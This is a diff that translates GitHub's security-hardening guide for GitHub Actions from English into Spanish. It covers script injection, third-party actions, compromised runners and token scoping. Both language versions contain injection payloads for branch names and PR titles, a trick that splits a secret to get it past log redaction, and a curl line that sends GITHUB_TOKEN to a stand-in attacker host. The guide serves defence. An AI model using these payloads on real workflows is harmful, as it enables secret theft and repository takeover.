- Attackers can add their own malicious content to the [`github` context](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`.  For example: `github.event.issue.title`, or `github.event.pull_request.body`. 
- 
- You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)."
+ Los atacantes pueden agregar su propio código malintencionado al [contexto `github`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), al cual se le debe tratar como una entrada potencialmente no confiable. Estos contextos pueden terminar habitualmente con `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, y `title`.  Por ejemplo: `github.event.issue.title`, o `github.event.pull_request.body`.
 
-In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository.
+ Debes asegurarte de que estos valores no fluyan directamente hacia los flujos de trabajo, acciones, llamados a las API ni a cualquier otro lugar en donde se puedan itnerpretar como còdigo ejecutable. Cuando adoptas la misma postura de programaciòn defensiva que utilizaràs para cualquier otro còdigo de aplicaciones privilegiado, puedes ayudar a que la seguridad fortalezca tu uso de las {% data variables.product.prodname_actions %}. Para obtener màs informaciòn sobre algunos de los pasos que podrìa llevar a cabo un atacante, consulta la secciòn ["Impacto potencial de un ejecutor puesto en riesgo](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)".
 
-The following sections explain how you can help mitigate the risk of script injection.
+Adicionalmente, hay otras fuentes menos obvias de entradas no confiables, tales como los nombres de rama y las direcciones de correo electrònico, las cuales pueden ser bastante flexibles en cuestiòn de su contenido permitido. Por ejemplo, `zzz";echo${IFS}"hello";#` podrìa ser un nombre de rama vàlido y podrìa ser un vector de ataques potenciales para un repositorio objetivo.
 
-### Example of a script injection attack
+Las siguientes secciones explican còmo puedes ayudar a mitigar el riesgo de inyecciòn de scripts.
 
-A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection:
+### Ejemplo de un ataque de inyecciòn de scripts
+
+Un ataque de inyecciòn de scripts puede ocurrir directamente dentro de un script dentro de las lìneas de un flujo de trabajo. En el siguiente ejemplo, una acciòn utiliza una expresiòn para probar la validez del tìtulo de una solicitud de cambios, pero tambièn agrega el riesgo de ocasionar una inyecciòn de scripts:
 
 {% raw %}
 ```
@@ -87,23 +87,23 @@ A script injection attack can occur directly within a workflow's inline script.
 ```
 {% endraw %}
 
-This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection. 
+Este ejemplo es vulnerable a la inyecciòn de scripts ya que el comando `run` se ejecuta dentro de un script de un shell temporal en el ejecutor. Antes de que se ejecute el script, se evalùan las expresiones dentro de {% raw %}`${{ }}`{% endraw %} y luego se sustituyen con los valores resultantes, lo cual puede hacerlo vulnerable a la inyecciòn de comandos de shell.
 
-To inject commands into this workflow, the attacker could create a pull request with a title of  `a"; ls $GITHUB_WORKSPACE"`:
+Para inyectar comandos en este flujo de trabajo, el atacante podrìa crear una solicitud de cambios con un tìtulo de `a"; ls $GITHUB_WORKSPACE"`:
 
-![Example of script injection in PR title](/assets/images/help/images/example-script-injection-pr-title.png)
+![Ejemplo de inyecciòn de scripts en el tìtulo de una solicitud de cambios](/assets/images/help/images/example-script-injection-pr-title.png)
 
-In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log:
+En este ejemplo, el caracter `"` se utiliza para interrumpir la instrucciòn {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %}, permitiendo que se ejecute el comando `ls` en el ejecutor. Puedes ver la salida del comando `ls` en la bitàcora:
 
-![Example result of script injection](/assets/images/help/images/example-script-injection-result.png)
+![Resultado de ejemplo de la inyecciòn de scripts](/assets/images/help/images/example-script-injection-result.png)
 
-## Good practices for mitigating script injection attacks
+## Buenas pràcticas para mitigar los ataques de inyecciòn de scripts
 
-There are a number of different approaches available to help you mitigate the risk of script injection:
+Hay varios acercamientos diferentes disponibles para ayudarte a mitigar el riesgo de inyecciones de scripts:
 
-### Using an action instead of an inline script (recommended)
+### Utilizar una acciòn en vez de un script dentro de las lìneas (recomendado)
 
-The recommended approach is to create an action that processes the context value as an argument. This approach is not vulnerable to the injection attack, as the context value is not used to generate a shell script, but is instead passed to the action as an argument:
+El acercamiento recomendado es crear una acciòn que procese el valor del contexto como un argumento. Este acercamiento no es vulnerable a los ataques de inyecciòn, ya que el valor del contexto no se utiliza para genrar un script de un shell, sino que se pasa a la acciòn como un argumento en vez de eso:
 
 {% raw %}
 ```
@@ -113,11 +113,11 @@ with:
 ```
 {% endraw %}
 
-### Using an intermediate environment variable
+### Utilizar una variable de ambiente intermedia
 
-For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable.
+Para los scripts dentro de las lìneas, el acercamiento preferente para manejar las entradas no confiables es configurar el valor de la expresiòn en una variable de ambiente intermedia.
 
-The following example uses Bash to process the `github.event.pull_request.title` value as an environment variable:
+El siguiente ejemplo utiliza Bash para procesar el valor `github.event.pull_request.title` como una variable de ambiente:
 
 {% raw %}
 ```
@@ -135,24 +135,24 @@ The following example uses Bash to process the `github.event.pull_request.title`
 ```
 {% endraw %}
 
-In this example, the attempted script injection is unsuccessful:
+En este ejemplo, el script que se intenta inyectar no tuvo éxito:
 
-![Example of mitigated script injection](/assets/images/help/images/example-script-injection-mitigated.png)
+![Ejemplo de inyección de script mitigada](/assets/images/help/images/example-script-injection-mitigated.png)
 
-With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{% endraw %} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid [word splitting](https://github.com/koalaman/shellcheck/wiki/SC2086), but this is [one of many](https://mywiki.wooledge.org/BashPitfalls) general recommendations for writing shell scripts, and is not specific to {% data variables.product.prodname_actions %}.
+Con este enfoque, el valor de la expresón {% raw %}`${{ github.event.issue.title }}`{% endraw %} se almacena en la memoria y se utiliza como una variable y no interactúa con el proceso de generación del script. Adicionalmente, considera utilizar variables de cita doble del shell para evitar la [separación de palabras](https://github.com/koalaman/shellcheck/wiki/SC2086), pero esta es solo [una de muchas](https://mywiki.wooledge.org/BashPitfalls) recomendaciones generales para escribir scripts del shell y no es específica de {% data variables.product.prodname_actions %}.
 
-### Using CodeQL to analyze your code
+### Utilizar CodeQL para analizar tu código
 
-To help you manage the risk of dangerous patterns as early as possible in the development lifecycle, the {% data variables.product.prodname_dotcom %} Security Lab has developed [CodeQL queries](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094) that repository owners can [integrate](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#running-additional-queries) into their CI/CD pipelines. For more information, see "[About code scanning](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)."
+Para ayudarte a admnistrar el riesgo que representan los patrones peligrosos tan pronto como sea posible en el ciclo de vida de desarrollo, el Laboratorio de Seguridad de {% data variables.product.prodname_dotcom %} ha desarrollado [consultas de CodeQL](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094) que los propietarios de los repositorios pueden [integrar](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#running-additional-queries) en sus mapeos de IC/DC. Para obtener más información, consulta la sección "[Acerca del escaneo de código"](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning).
 
-The scripts currently depend on the CodeQL JavaScript libraries, which means that the analyzed repository must contain at least one JavaScript file and that CodeQL must be [configured to analyze this language](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed).
+Los scripts dependen actualmente de las bibliotecas de JavaScript de CodeQL, lo que significa que el repositorio analizado debe contener por lo menos un archivo de JavaScript y que CodeQL debe [configurarse para analizar este lenguaje](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed).
 
-- `ExpressionInjection.ql`: Covers the expression injections described in this article, and is considered to be reasonably accurate. However, it doesn’t perform data flow tracking between workflow steps.
-- `UntrustedCheckout.ql`: This script's results require manual review to determine whether the code from a pull request is actually treated in an unsafe manner. For more information, see "[Keeping your GitHub Actions and workflows secure: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)"  on the {% data variables.product.prodname_dotcom %} Security Lab blog.
+- `ExpressionInjection.ql`: Cubre las inyecciones de expresiòn que se describen en este artìculo y se le considera como razonablemente preciso. Sin embargo, no realiza un rastreo de flujo de datos entre los pasos de flujo de trabajo.
+- `UntrustedCheckout.ql`: Los resultados de este script necesitan de una revisiòn manual para determinar si el còdigo de una solicitud de cambios se trata realmente de forma no segura. Para obtener màs informaciòn, consulta la secciòn "[Mantener seguras tus GitHub Actions y flujos de trabajo: Prevenir solicitudes de tipo pwn](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)" en el blog del Laboratorio de Seguridad de {% data variables.product.prodname_dotcom %}.
 
-### Restricting permissions for tokens
+### Restringir los permisos para los tokens
 
-To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)."
+Para ayudarte a mitigar el resigo de un token expuesto, considera restringir los permisos asignados. Para obtener màs informaciòn, consulta la secciòn "[Modificar los permisos para el GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)".
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
@@ -162,51 +162,51 @@ To help mitigate the risk of an exposed token, consider restricting the assigned
 
 {% endif %}
 
-## Using third-party actions
+## Utilizar acciones de terceros
 
-The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them.
+Los jobs individuales en un flujo de trabajo pueden interactuar con (y ponerse enriesgo con) otros jobs. Por ejemplo, un job que consulta las variables de mabiente que se utilizan por otro job subsecuente, escribir archivos en un directorio compartido que el job subsecuente procesa, o aún de forma ás directa si interactúa con el conector de Docker e inspecciona a otros contenedores en ejecución y ejecuta comandos en ellos.
 
-This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)."
+Esto significa que el poner en riesgo una sola acción dentro de un flujo de trabajo puede ser my significativo, ya que dicha acción en riesgo tendrá acceso a todos los secretos que configuras en tu repositorio, y podría utilizar el `GITHUB_TOKEN` para escribir en él. Por consiguiente, hay un riesgo significativo en suministrar acciones de repositorios de terceros en {% data variables.product.prodname_dotcom %}. Para obtener màs informaciòn sobre algunos de los pasos que podrìa llevar a cabo un atacante, consulta la secciòn ["Impacto potencial de un ejecutor puesto en riesgo](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)".
 
-You can help mitigate this risk by following these good practices:
+Puedes ayudar a mitigar este riesgo si sigues estas buenas prácticas:
 
-* **Pin actions to a full length commit SHA**
+* **Fija las acciones a un SHA de confirmación de longitud completa**
 
-  Pinning an action to a full length commit SHA is currently the only way to use an action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload.
+  Fijar una acción a un SHA de confirmación de longitud completa es actualmente la única forma de utilizar una acción como un lanzamiento inmutable. Fijar las acciones a un SHA en particular ayuda a mitigar el riesgo de que un actor malinencionado agregue una puerta trasera al repositorio de la acción, ya que necesitarían generar una colisión de SHA-1 para una carga útil vlálida de un objeto de Git.
 
   {% ifversion ghes < 3.1 %}
   {% warning %}
 
-  **Warning:** The short version of the commit SHA is insecure and should never be used for specifying an action's Git reference. Because of how repository networks work, any user can fork the repository and push a crafted commit to it that collides with the short SHA. This causes subsequent clones at that SHA to fail because it becomes an ambiguous commit. As a result, any workflows that use the shortened SHA will immediately fail.
+  **Advertencia:** La versión corta del SHA de confirmación no es segura y jamás debería utilizarse para especificar la referencia de Git de una acción. Debido a cómo funcionan las redes de los repositorios, cualquier usuario puede bifurcar el repositorio y cargar una confirmación creada a éste, la cual colisione con el SHA corto. Esto causa que fallen los clones subsecuentes a ese SHA, debido a que se convierte en una confirmación ambigua. Como resultado, cualquier flujo de trabajo que utilice el SHA acortado fallará de inmediato.
 
   {% endwarning %}
   {% endif %}
 
-* **Audit the source code of the action**
+* **Audita el código fuente de la acción**
 
-  Ensure that the action is handling the content of your repository and secrets as expected. For example, check that secrets are not sent to unintended hosts, or are not inadvertently logged.
+  Asegúrate de que la acción está manejando los secretos y el contenido de tu repositorio como se espera. Por ejemplo, verifica que los secretos no se envíen a hosts no deseados, o que no se registren inadvertidamente.
 
-* **Pin actions to a tag only if you trust the creator**
+* **Fija las acciones a una etiqueta únicamente si confías en el creador**
 
-  Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If you’d like to specify a tag, then be sure that you trust the action's creators. The ‘Verified creator’ badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action.
+  Aunque fijar el SHA de una confirmación es la opción más segura, especificar una etiqueta es más conveniente y se utiliza ampliamente. Si te gustaría especificar una etiqueta, entonces asegúrate de que confías en los creadores de la acción. La insignia de ‘Verified creator’ en {% data variables.product.prodname_marketplace %} es una señal útil, ya que te indica que la acción viene de un equipo cuya identidad verificó {% data variables.product.prodname_dotcom %}. Nota que este acercamiento sí tiene riesgos aún si confías en el autor, ya que una etiqueta se puede mover o borrar en caso de que un actor malicioso consiga acceso al repositorio que almacena la acción.
 
 {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
-## Reusing third-party workflows
+## Reutilizar los flujos de trabajo de terceros
 
-The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." 
+El mismo principio que se describió anteriormente para utilizar acciones de terceros también aplica para los flujos de trabajo de terceros. Puedes ayudar a mitigar los riesgos asociados con la reutilización de flujos de trabajo si sigues las mismas buenas prácticas que se describen anteriormente. Para obtener más información, consulta la sección "[Reutilizar flujos de trabajo](/actions/learn-github-actions/reusing-workflows)".
 {% endif %}
 
-## Potential impact of a compromised runner
+## Impacto potencial de un ejecutor puesto en riesgo
 
-These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner. 
+Estas secciones consideran algunos de los pasos que puede llevar a cabo un atacante si pueden ejecutar comandos malintencionados en un ejecutor de {% data variables.product.prodname_actions %}.
 
-### Accessing secrets
+### Acceder a los secretos
 
-Workflows triggered using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues` and `push`, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token). 
+Los flujos de trabajo que se activan utilizando el evento `pull_request` tienen permisos de solo lectura y no tienen acceso a los secretos. Sin embargo, estos permisos difieren de varios activadores de evento, tales como `issue_comment`, `issues` y `push`, en donde el atacante podrìa intentar robar secretos de repositorios o utilizar el permiso de escritura del [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token) de un job.
 
-- If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`.
-- If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible.
-- For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument:
+- Si el token o secreto se configura como una variable de ambiente, puede accederse a èl directamente a travès del ambiente utilizando `printenv`.
+- Si el secreto se utiliza dierctamente en una expresiòn, el script del shell que se generò se almacenarà en el disco y se podrà acceder al èl.
+- En el caso de una acción eprsonalizada, el riesgo puede variar dependiendo de cómo un programa utiliza el secreto que obtuvo del argumento:
 
   {% raw %}
   ```
@@ -216,153 +216,151 @@ Workflows triggered using the `pull_request` event have read-only permissions an
   ```
   {% endraw %}
 
-Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker.
+Aunque {% data variables.product.prodname_actions %} limpia los secretos de la memoria, los cuales no se referencien en el flujo de trabajo (o que no se incluyan en una acción), un atacante determinado podría cosechar tanto el `GITHUB_TOKEN` como cualquier secreto referenciado.
 
-### Exfiltrating data from a runner
+### Exfiltrar datos de un ejecutor
 
-An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/reference/encrypted-secrets#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server.
+Un atacante puede exfiltrar cualquier secreto u otros datos robados del ejecutor. Para prevenir la divulgación accidental del secreto, {% data variables.product.prodname_actions %} [redacta automáticamente los secretos que se imprimen en la bitácora](/actions/reference/encrypted-secrets#accessing-your-secrets), pero este no es un límite de seguridad verdadero, ya que los secretos se pueden enviar intencionalmente a dicha bitácora. Por ejemplo, los secretos ofuscados pueden exfiltrarse utilizando `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. Adicionalmente, ya que el atacante podría ejecutar comandos arbitrarios, podrían utilizar las solicitudes de tipo HTTP para enviar secretos u otros datos del repositorio a un servidor externo.
 
-### Stealing the job's `GITHUB_TOKEN`
+### Robar el `GITHUB_TOKEN` del job
 
-It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#`.
+Es posible que un atacante robe el `GITHUB_TOKEN` de un job. El ejecutor de {% data variables.product.prodname_actions %} recibe automáticamente un `GITHUB_TOKEN` generado con permisos que se limitan únicamente al repositorioq ue contiene el flujo de trabajo y el token vence después de que se complete el job. Una vez que se venza, el token ya no será útil para un atacante. Para solucionar esta limitante, pueden automatizar el ataque y llevarlo acabo en fracciones de segundo llamando a un servidor que controla un atacante con el token, por ejemplo: `a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#`.
 
-### Modifying the contents of a repository
+### Modificar el contenido de un repositorio
 
-The attacker server can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API to [modify repository content](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token).
+El servidor atacante puede utilizar la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} para [modificar el contenido del repositorio](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token) e incluir lanzamientos, en caso de que los permisos del `GITHUB_TOKEN` [no estén restringidos](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token).
 
-## Considering cross-repository access
+## Considerar acceso entre repositorios
 
-{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, elevating the permissions of the `GITHUB_TOKEN` if necessary{% endif %}. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators.
+{% data variables.product.prodname_actions %} tiene un alcance intencional para un solo repositorio por vez. El `GITHUB_TOKEN` otorga el mismo nivel de acceso que el de un usuario con acceso de escritura, ya que cualquier usuario con este tipo de acceso puede acceder al token si crea o modifica un archivo de flujo de trabajo {% ifversion fpt or ghes > 3.1 or ghae or ghec %}, lo cual eleva los permisos del `GITHUB_TOKEN` en caso de que sea necesario{% endif %}. Los usuarios tienen permisos específicos para cada repositorio, así que, permitir que el `GITHUB_TOKEN` de un repositorio otorgue acceso a otro de ellos impactará el modelo de permisos de {% data variables.product.prodname_dotcom %} si no se implementa con cuidado. De forma similar, se debe tener cuidado al agregar tokens de autenticación de {% data variables.product.prodname_dotcom %} a un flujo de trabajo, ya que esto también puede afectar el modelo de permisos de {% data variables.product.prodname_dotcom %} al otorgar inadvertidamente un acceso amplio a los colaboradores.
 
-We have [a plan on the {% data variables.product.prodname_dotcom %} roadmap](https://github.com/github/roadmap/issues/74) to support a flow that allows cross-repository access within {% data variables.product.product_name %}, but this is not yet a supported feature. Currently, the only way to perform privileged cross-repository interactions is to place a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended.
+Tenemos [un plan en el itinerario de {% data variables.product.prodname_dotcom %}](https://github.com/github/roadmap/issues/74) para compatibilizar un flujo que permita acceso entre repositorios dentro de {% data variables.product.product_name %}, pero aún no es una característica compatible. Actualmente, la única forma de realizar interacciones privilegiadas entre repositorios es colocar un token de autenticación de {% data variables.product.prodname_dotcom %} o llave SSH como un secreto dentro del flujo de trabajo. Ya que muchos tipos de tokens de autenticación no permiten el acceso granular a recursos específicos, existe un riesgo significativo en el utilizar el tipo incorrecto de token, ya que puede otorgr un acceso mucho más amplio que lo que se espera.
 
-This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference:
+Esta lista describe los acercamientos recomendatos para acceder alos datos de un repositorio dentro de un flujo de trabjajo, en orden descendente de preferencia:
 
-1. **The `GITHUB_TOKEN`**
-    -  This token is intentionally scoped to the single repository that invoked the workflow, and {% ifversion fpt or ghes > 3.1 or ghae or ghec %}can have {% else %}has {% endif %}the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)."
-    - The `GITHUB_TOKEN` should be used whenever possible.
-2. **Repository deploy key**
-    - Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see "[Managing deploy keys](/developers/overview/managing-deploy-keys#deploy-keys)."
-    - Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements.
-3. **{% data variables.product.prodname_github_app %} tokens**
-    - {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories.
-4. **Personal access tokens**
-    - You should never use personal access tokens from your own account. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your user account. This indirectly grants broad access to all write-access users of the repository the workflow is in. In addition, if you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging.
-    - If a personal access token is used, it should be one that was generated for a new account that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys.
-5. **SSH keys on a user account**
-    - Workflows should never use the SSH keys on a user account. Similar to personal access tokens, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership.  This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead.
+1. **El `GITHUB_TOKEN`**
+    -  A este token se le da el alcance, a propósito, del único repositorio que invocó el flujo de trabajo y {% ifversion fpt or ghes > 3.1 or ghae or ghec %}puede tener {% else %}tiene {% endif %} el mismo nivel de acceso que el de un usuario con acceso de escritura en dicho repositorio. El token se crea antes de que inicie cada job y caduca cuando dicho job finaliza. Para obtener más información, consulta "[Autenticar con el GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)".
+    - El `GITHUB_TOKEN` debe utilizarse cada que sea posible.
+2. **Llave de despliegue del repositorio**
+    - Las llaves de despliegue son uno de los únicos tipos de credenciales que otorgan acceso de lectura o escritura en un solo repositorio, y pueden utilizarse para interactuar con otro repositorio dentro de un flujo de trabajo. Para obtener más información, consulta la sección "[Administrar las llaves de despliegue](/developers/overview/managing-deploy-keys#deploy-keys)".
+    - Nota que las llaves de despliegue solo pueden clonarse y subirse al repositorio utilizando Git, y no pueden utilizarse para interactuar con las API de REST o de GraphQL, así que puede no sean adecuadas para tus necesidades.
+3. **Tokens de {% data variables.product.prodname_github_app %}**
+    - Las {% data variables.product.prodname_github_apps %} pueden instalarse en los repositorios seleccionados, e incluso tienen permisos granulares en los recursos dentro de ellos. Puedes crear una {% data variables.product.prodname_github_app %} interna a tu organización, instalarla en los repositorios a los que necesites tener acceso dentro de tu flujo de trabajo, y autenticarte como la instalación dentro del flujo de trabajo para acceder a esos repositorios.
+4. **Tokens de acceso personal**
+    - Jamás debes utilizar tokens de acceso personal desde tu propia cuenta. Estos tokens otorgan acceso a todos los repositorios dentro de las organizaciones a las cuales tienes acceso, así como a los repositorios en tu cuenta de usuario. Esto otorga indirectamente un acceso amplio a todos los usuarios con acceso de escritura en el repositorio en el cual está el flujo de trabajo. Adicionalmente, si sales de una organización más adelante, los flujos de trabajo que utilicen este token fallarán inmediatamente, y depurar este problema puede ser difícil.
+    - Si se utiliza un token de acceso personal, debe ser uno que se haya generado para una cuenta nueva a la que solo se le haya otorgado acceso para los repositorios específicos que se requieren para el flujo de trabajo. Nota que este acercamiento no es escalable y debe evitarse para favorecer otras alternativas, tales como las llaves de despliegue.
+5. **Llaves SSH en una cuenta de usuario**
+    - Los flujos de trabajo nunca deben utilizar las llaves SSH en una cuenta de usuario. De forma similar a los tokens de acceso personal, estas otorgan permisos de lectura/escritura a todos tus repositorios personales así como a todos los repositorios a los que tengas acceso mediante la membercía de organización.  Esto otorga indirectamente un acceso amplio a todos los usuarios con acceso de escritura en el repositorio en el cual está el flujo de trabajo. Si pretendes utilizar una llave SSH porque solo necesitas llevar a cabo clonados de repositorio o subidas a éste, y no necesitas interactuar con una API pública, entonces mejor deberías utilizar llaves de despliegue individuales.
 
-## Hardening for self-hosted runners
+## Fortalecimiento para los ejecutores auto-hospedados
 
 {% ifversion fpt %}
-**{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process.
+Los ejecutores **hospedados en {% data variables.product.prodname_dotcom %}** ejecutan código dentro de máquinas virtuales aisladas, limpias y efímeras, lo cual significa que no hay forma de poner este ambiente en riesgo de forma persistente, o de obtener acceso de otra forma a más información de la que se colocó en este ambiente durante el proceso de arranque.
 {% endif %}
 
-{% ifversion fpt %}**Self-hosted**{% elsif ghes or ghae %}Self-hosted{% endif %} runners for {% data variables.product.product_name %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow.
+{% ifversion fpt %}Los ejecutores **auto-hospedados**{% elsif ghes or ghae %}Los ejecutores auto-hospedados{% endif %} para {% data variables.product.product_name %} no tienen las garantías de ejecutarse en máquinas virtuales limpias y efímeras y pueden estar en riesgo constante si hay código no confiable en un flujo de trabajo.
 
-{% ifversion fpt %}As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories) on {% data variables.product.product_name %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be{% elsif ghes or ghae %}Be{% endif %} cautious when using self-hosted runners on private or internal repositories, as anyone who can fork the repository and open a pull request (generally those with read-access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, depending on its settings, can grant {% else %} grants {% endif %}write-access permissions on the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner.
